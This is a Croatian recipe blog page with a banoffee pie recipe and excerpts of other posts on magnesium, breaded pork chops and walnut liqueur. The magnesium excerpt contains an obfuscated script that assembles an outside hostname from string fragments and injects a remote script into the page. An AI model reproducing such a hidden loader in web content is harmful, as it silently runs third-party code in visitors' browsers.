BANOFEE PITA - BRITANSKI KREMASTI KLASIK




Banofee pita - britanski kremasti klasik 



Banoffee pita jedan je od najpoznatijih britanskih deserata, a svoju popularnost duguje savršenoj kombinaciji hrskave podloge od keksa, bogatog karamela, zrelih banana i laganog tučenog vrhnja. Svaki zalogaj donosi spoj slatkog i blago slanog okusa koji ovaj desert čini posebnim.




Banofee pita 


Sastojci:

Za podlogu

  • 180 g Digestive keksa
  • 60 g šećera
  • 100 g slanog maslaca, otopljenog

Za karamel

  • 115 g slanog maslaca
  • 110 g smeđeg šećera
  • 200 g zaslađenog kondenziranog mlijeka

Za nadjev

  • 2 velike zrele banane
  • 300 ml slatkog vrhnja za šlag
  • 50 g kristal šećera
  • 1 čajna žličica ekstrakta vanilije
  • oko 30 g čokolade za ribanje



Priprema:

  1. Zagrijte pećnicu na 175 stupnjeva.
  2. Kekse sameljite u sitne mrvice pa ih pomiješajte sa šećerom i otopljenim maslacem. Smjesu ravnomjerno utisnite u kalup za pitu promjera 23 cm, pritiskajući i dno i rubove.
  3. Pecite 10 minuta, zatim izvadite iz pećnice i ostavite da se potpuno ohladi.
  4. U loncu s debljim dnom na laganoj do srednje jakoj vatri otopite maslac i smeđi šećer. Neprestano miješajte oko 5 minuta. Smjesa se treba samo lagano krčkati.
  5. Dodajte zaslađeno kondenzirano mlijeko i dobro promiješajte pjenjačom. Kada ponovno počne lagano kuhati, nastavite kuhati još 3 do 4 minute uz stalno miješanje. Smjesa će postati gušća i dobiti lijepu svijetlosmeđu boju.
  6. Karamel izlijte na ohlađenu podlogu i ravnomjerno rasporedite.
  7. Ostavite da se hladi na sobnoj temperaturi 1 do 2 sata, dok površina ne postane čvrsta na dodir. Ako želite ubrzati postupak, pitu možete staviti u hladnjak dok se karamel potpuno ne stisne.
  8. Dobro ohlađeno slatko vrhnje istucite sa šećerom i vanilijom dok ne dobijete čvrst, ali i dalje kremast šlag.
  9. Banane narežite na kolutiće i rasporedite ih u jednom sloju preko ohlađeneog karamela.
  10. Premažite tučenim vrhnjem i poravnajte površinu. Na kraju obilno naribajte čokoladu.
  11. Banoffee pitu možete poslužiti odmah ili je prije posluživanja rashladiti nekoliko sati. Ako je bila u hladnjaku, ostavite je 15 do 30 minuta na sobnoj temperaturi kako bi karamel omekšao i kako bi se desert lakše rezao.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više